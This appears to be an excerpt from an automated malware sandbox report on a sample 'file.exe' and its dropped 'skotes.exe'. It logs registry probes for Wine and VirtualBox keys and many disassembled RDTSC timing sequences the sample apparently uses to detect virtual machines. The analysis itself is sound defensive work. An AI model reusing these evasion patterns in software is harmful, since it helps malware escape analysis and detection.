Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020278 second address: 102027C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102027C second address: 1020280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A49C9 second address: 11A49CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192F97 second address: 1192FAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6341 second address: 11A6345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A658A second address: 11A65D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jmp 00007FC14CF3D6E2h 0x00000012 push ebx 0x00000013 jne 00007FC14CF3D6D6h 0x00000019 pop ebx 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jc 00007FC14CF3D6D6h 0x00000026 jmp 00007FC14CF3D6E4h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A65D2 second address: 11A65D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A65D9 second address: 11A664B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c jnl 00007FC14CF3D6DCh 0x00000012 pop ecx 0x00000013 pop eax 0x00000014 mov edi, dword ptr [ebp+122D379Bh] 0x0000001a cld 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FC14CF3D6D8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 push esi 0x00000038 mov ecx, dword ptr [ebp+122D2D5Fh] 0x0000003e pop edi 0x0000003f push 00000000h 0x00000041 mov ecx, dword ptr [ebp+122D3857h] 0x00000047 mov dword ptr [ebp+122D1C95h], edi 0x0000004d push 00000003h 0x0000004f mov esi, 3FBDC7EFh 0x00000054 push 7BDCAF00h 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c pushad 0x0000005d popad 0x0000005e je 00007FC14CF3D6D6h 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6711 second address: 11A6716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6716 second address: 11A671C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A671C second address: 11A6729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6729 second address: 11A672D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A67E3 second address: 11A67E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A67E9 second address: 11A67ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A67ED second address: 11A67FB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A67FB second address: 11A6800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6800 second address: 11A6828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FC14C6D0A26h 0x00000009 jmp 00007FC14C6D0A34h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6828 second address: 11A6860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FC14CF3D6E7h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007FC14CF3D6E1h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6860 second address: 11A68C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FC14C6D0A28h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 sub dx, 5B11h 0x00000029 lea ebx, dword ptr [ebp+1245A2A9h] 0x0000002f push edx 0x00000030 mov dword ptr [ebp+122D1CA3h], esi 0x00000036 pop edi 0x00000037 push ecx 0x00000038 and edi, dword ptr [ebp+122D38BFh] 0x0000003e pop esi 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FC14C6D0A31h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6FB2 second address: 11C6FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC14CF3D6D6h 0x0000000a jmp 00007FC14CF3D6DEh 0x0000000f popad 0x00000010 jns 00007FC14CF3D6D8h 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C54C8 second address: 11C54D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57C0 second address: 11C57E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FC14CF3D6D6h 0x0000000e jmp 00007FC14CF3D6E2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57E0 second address: 11C57F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jno 00007FC14C6D0A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57F2 second address: 11C57F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57F6 second address: 11C5800 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5800 second address: 11C580A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC14CF3D6D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C580A second address: 11C580E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5B52 second address: 11C5B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FC14CF3D6DBh 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 jmp 00007FC14CF3D6DEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5B7B second address: 11C5B87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FC14C6D0A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5CD8 second address: 11C5CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC14CF3D6D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5CE3 second address: 11C5D05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A35h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jc 00007FC14C6D0A26h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5E4B second address: 11C5E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5FA4 second address: 11C5FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007FC14C6D0A2Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5FB9 second address: 11C5FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5FC2 second address: 11C5FCC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC14C6D0A2Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6DD9 second address: 11C6DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC14CF3D6DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6DE8 second address: 11C6E01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC14C6D0A2Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6E01 second address: 11C6E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6E05 second address: 11C6E23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6E23 second address: 11C6E2D instructions: 0x00000000 rdtsc 0x00000002 je 00007FC14CF3D6D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6E2D second address: 11C6E52 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007FC14C6D0A26h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC14C6D0A39h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C93D3 second address: 11C93D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD59C second address: 11CD5B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC14C6D0A26h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FC14C6D0A26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF3D9 second address: 11CF3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007FC14CF3D6D6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jl 00007FC14CF3D6D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11980E5 second address: 11980EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0873 second address: 11D0885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC14CF3D6DDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0885 second address: 11D089D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A2Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FC14C6D0A26h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D500A second address: 11D5021 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FC14CF3D6DEh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D5021 second address: 11D5027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D713F second address: 11D7145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7145 second address: 11D714A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D714A second address: 11D718D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d ja 00007FC14CF3D6E5h 0x00000013 mov eax, dword ptr [eax] 0x00000015 jo 00007FC14CF3D704h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC14CF3D6E7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D718D second address: 11D71DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edx 0x0000000e jmp 00007FC14C6D0A36h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dword ptr [ebp+122D1E1Ch], eax 0x0000001b call 00007FC14C6D0A29h 0x00000020 push eax 0x00000021 push edx 0x00000022 jnp 00007FC14C6D0A2Ch 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D71DC second address: 11D71F5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC14CF3D6DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7320 second address: 11D7334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007FC14C6D0A2Eh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7C15 second address: 11D7C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7C1A second address: 11D7C20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7C20 second address: 11D7C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebx 0x0000000a jmp 00007FC14CF3D6E2h 0x0000000f xor di, 1C9Bh 0x00000014 push eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7C47 second address: 11D7C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9911 second address: 11D9915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DAB86 second address: 11DAB90 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC03E second address: 11DC048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC9D4 second address: 11DCA65 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FC14C6D0A28h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 call 00007FC14C6D0A32h 0x0000002b mov di, si 0x0000002e pop edi 0x0000002f movsx esi, di 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D3096h], ebx 0x0000003a mov si, cx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push eax 0x00000042 call 00007FC14C6D0A28h 0x00000047 pop eax 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c add dword ptr [esp+04h], 00000014h 0x00000054 inc eax 0x00000055 push eax 0x00000056 ret 0x00000057 pop eax 0x00000058 ret 0x00000059 cmc 0x0000005a jmp 00007FC14C6D0A37h 0x0000005f push eax 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 js 00007FC14C6D0A26h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E03E1 second address: 11E044E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC14CF3D6D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FC14CF3D6D8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov edi, 4FDEBD27h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007FC14CF3D6D8h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 push 00000000h 0x0000004a push esi 0x0000004b mov ebx, dword ptr [ebp+122D39B7h] 0x00000051 pop ebx 0x00000052 push eax 0x00000053 push ebx 0x00000054 pushad 0x00000055 pushad 0x00000056 popad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1352 second address: 11E1370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FC14C6D0A26h 0x00000009 jl 00007FC14C6D0A26h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jc 00007FC14C6D0A30h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1370 second address: 11E13CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 sub dword ptr [ebp+12455287h], eax 0x0000000c push 00000000h 0x0000000e mov ebx, 32A839B3h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FC14CF3D6D8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f call 00007FC14CF3D6DBh 0x00000034 pushad 0x00000035 mov di, si 0x00000038 push ecx 0x00000039 pop eax 0x0000003a popad 0x0000003b pop edi 0x0000003c pushad 0x0000003d jg 00007FC14CF3D6D8h 0x00000043 mov esi, 23DFD859h 0x00000048 popad 0x00000049 xchg eax, esi 0x0000004a pushad 0x0000004b push esi 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E13CD second address: 11E1403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 jmp 00007FC14C6D0A34h 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FC14C6D0A37h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E245C second address: 11E2466 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC14CF3D6DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2466 second address: 11E24F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FC14C6D0A28h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D1C95h], esi 0x00000029 jmp 00007FC14C6D0A33h 0x0000002e push 00000000h 0x00000030 mov di, 91CEh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007FC14C6D0A28h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov edi, dword ptr [ebp+122D39C3h] 0x00000056 xchg eax, esi 0x00000057 pushad 0x00000058 jnp 00007FC14C6D0A28h 0x0000005e pushad 0x0000005f popad 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 pop edx 0x00000064 popad 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007FC14C6D0A2Ch 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3447 second address: 11E349B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FC14CF3D6D6h 0x00000009 jmp 00007FC14CF3D6DEh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 movzx ebx, ax 0x00000017 push 00000000h 0x00000019 and ebx, dword ptr [ebp+122D3857h] 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 pop edi 0x00000023 mov ebx, 33A31CA9h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007FC14CF3D6E8h 0x00000031 jp 00007FC14CF3D6D6h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E349B second address: 11E34A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
